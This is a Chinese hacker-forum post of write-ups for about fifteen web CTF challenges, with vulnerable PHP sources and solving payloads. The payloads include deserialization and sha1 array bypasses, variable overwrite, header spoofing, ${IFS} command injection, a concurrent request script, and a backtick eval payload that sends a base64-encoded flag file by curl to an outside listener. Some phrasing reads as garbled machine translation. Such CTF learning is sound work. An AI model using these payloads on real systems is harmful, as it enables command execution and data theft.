跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

CTF常见的10个题目 轻松获取flag

精选回复

发布于
sPMH1S.png

访问得到链接,给出的flag少了一个-。

sPMX0s.png
flag{091efg59-258e-3abv-c3h7-f18769f21b59}

顺序化

提供一段代码

<?php
error_reporting(0);
include "flag.php";
$key = "abcdefg!!!";
$str = $_GET['str'];
if (unserialize($str) === "$key")
{
    echo $flag;
}
show_source(__FILE__);
?>

顺序化代码如下

<?php
error_reporting(0);
//include "flag.php";
$key = "abcdefg!!!";
$str = "abcdefg!!!";
echo serialize($str);
?>
sPlk28.png

你猜

Ctrl+U 得到注释的代码

sPlVKg.png
<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
    if ($_POST['pwd'] == $_SESSION['pwd'])
        die('Flag:'.$flag);
    else{
        print '<p>猜测错误.</p>';
        $_SESSION['pwd']=time().time();
    }
}
?>

session ID是我们可控的,pwd也是我们可控的,唯一就是session我们无法控制是多少,但是可以置空
删除PHPSESSID为智能

sP1tl8.png

旗帜

打开一个链接,点开跳转到404

sP12XF.png

抓包发现把flag base64编码了搜索请求头

sP15kR.png
ctf{f31a81e91afdcf0b84dfee82ec2fb196}

不想和你说话

sP17p6.png

典型的变量覆盖,把b覆盖为空。a参数为空,非===达到若判断,””==假

sP3YNR.png

该网站已被黑

没什么好说的,访问shell.php。密码为hack,得到flag

sP34KS.png

彩票

sP3H5n.png

查看js,访问data.php。然后解析json显示

sP3XvT.png

拿原题的脚本跑就可以得到flag

import asyncio
import time
import aiohttp
import json

calc=0
class test(object):
    async def crackpassword(self,number):
        global calc
        if calc > 0:
            print(calc)
            exit()
        async with number:
            async with aiohttp.ClientSession(headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"}) as session:
                async with session.get(url="http://10.20.105.228:8811/data.php") as response:
                    jsons=json.loads(await response.text())
                    if jsons['angle']>=150 and jsons['angle']<=210:
                        print(jsons['flag'])
                        calc+=1


    async def run(self):
        number=asyncio.Semaphore(500)
        data=[self.crackpassword(number) for k in range(500)]
        await asyncio.wait(data)

if __name__ == '__main__':
    obj=test()
    loop=asyncio.get_event_loop()
    loop.run_until_complete(obj.run())
    loop.close()
sP8oQK.png

易游戏

sPGuOU.png

根据GET请求得到下一个请求

sPGN6K.png

请求不是管理员

sPG0TH.png

带上X-Forwarded-For头设定127.0.0.1自动得到flag

sPGrtA.png

网址

打开网址,点击下载flag.txt推荐flag不在此。注释查看flag.php

sPGf0g.png

下载flag.php得到代码

<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= $key {$x};
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        $str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
    }
    return base64_encode ( $str );
}

function decrypt($data, $key) {
    $key = md5 ( $key );
    $x = 0;
    $data = base64_decode ( $data );
    $len = strlen ( $data );
    $l = strlen ( $key );
    for($i = 0; $i < $len; $i ++) {
        if ($x == $l) {
            $x = 0;
        }
        $char .= substr ( $key, $x, 1 );
        $x ++;
    }
    for($i = 0; $i < $len; $i ++) {
        if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
            $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
        } else {
            $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
        }
    }
    return $str;
}

$key="ctf";
$flag="xWqammfJaWrGm5yayJttaGiTlJRsbGrMmWxqa2fMm50=";//encrypt($flag,$key)
?>

调用解密函数解密标志

sPJWgx.png
ctf{d2686e18b9ebc793613d448f73563f8d}
  • 1

你算的太慢

sPYGM6.png

实验吧原题直接拿py带会话计算重发智能得到flag

查看得到的代码

if (isset($_GET['name']) and isset($_GET['password'])) {
    if ($_GET['name'] == $_GET['password'])
        echo '<p>Your password can not be your name!</p>';
    else if (sha1($_GET['name']) === sha1($_GET['password']))
      die('Flag: '.$flag);
    else
        echo '<p>Invalid password.</p>';
}
else{
    echo '<p>Login first!</p>';

 

结果判断结果,然后不是结果

http://10.20.105.228:8812/?name[]=&password[]=admin
sPYzS1.png

md5

找不到切入点,跳过

RCE空格

<?php
if(isset($_REQUEST[ 'ip' ])) {
    $target = trim($_REQUEST[ 'ip' ]);
    $substitutions = array(
        'head' => '',
        'ls' => '',
        'cat' => '',
        'flag' => '',
        '<'  => '',
        ' '  => '',
        '&'  => '',
        '|' => '',
        '-'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
    $cmd = shell_exec( 'ping  -c 1 ' . $target );
        echo $target;
    echo  "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>

 

风景描写

http://10.20.105.228:8815/?ip=127.0.0.1;a=c;b=at;$a$b${IFS}*
sPtWnK.png

不难的

<?php  

include('hint.php');

$data = $_GET["data"];
if(isset($data)&&(file_get_contents($data,'r')==="Welcome to jmpt CTF")){
    echo $hint;
}

if(isset($_GET['file'])){  
    $file = $_GET['file'];  
    $content = $_POST['content'];  
    $file = str_replace("php", "???", $file);  
    $file = str_replace("data", "???", $file);  
    $file = str_replace(":", "???", $file);  
    $file = str_replace(".", "???", $file);  
    file_put_contents(urldecode($file), "<?php die('a,各位师傅太能秀了!');?>".$content);  


}else{  
    highlight_file(__FILE__);  
}
?>

死去的时候说一下,戳戳戳戳,有细密的
编码文件名称过滤
器。

sPN8HO.png
sPNdgI.png

琼琼

<?php
show_source(__FILE__);
if(isset($_GET['a'])){
    $feiyu=$_GET['a'];
    highlight_file(__FILE__);
        if(preg_match("/[A-Za-oq-z0-9$]+/",$feiyu)){
            die("No1 Die");
        }
        if(preg_match("/\~|\!|\@|#\|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$feiyu)){
            die("No2 Die");
        }
        eval($feiyu);
}
?>

wfuzz 没有被过滤的字符

sPNvKx.png

查找该题目为php临时文件shell

sPUCIe.png

欣赏的数字

访问index.php.txt得到的代码

<?php
header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) {
    if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE)
        echo '说好的数字呢?';
    else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE)
        die ( 'Flag: ' . $flag );
    else
        echo '你的数字不太符合我的心意哦!';
}
?>
<html>
<head>
<title>猜密码</title>
</head>
<body style="text-align: center">
<center>
<img src="num.png"/>
    <form action="index.php" method="post">
        <input type="text" name="num" /> <input type="submit" value="提交" />
    </form>
</center>
    <!-- index.php.txt  -->
</body>
</html>

解决方案

sPU3zn.png

宝贝

<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$msg_giveme = 'Give me the flag!';
$msg_getout = 'No this. Get out!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($msg_giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($msg_getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

变量覆盖,本来是要flag=flag才能真正得到的,但是如果过滤了,多个变量暂存g代码

http://10.20.105.228:8809/?123=flag&flag=123
sPUoQI.png

简单的

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($c = @$_GET['c']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $c)){
        eval(substr($c,0,5));
    }else{
        die("5个字母够了呀!");
    }
}

搜索发现``为shell_exec
首字母将如上载传到eval将变成
eval($c;<command>)

看看wp,什么bp自带客户端的dnslog数据外带,试用用ceye.io数据外带

python3 -m http.server 4444

然后payload为
http://81.70.105.149:8006/?c=\$c`;curl%20http://:4444/cat${IFS}flag_i5_fun.php|grep${IFS}flag|base64

sPaAkF.png

很详细 谢谢

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。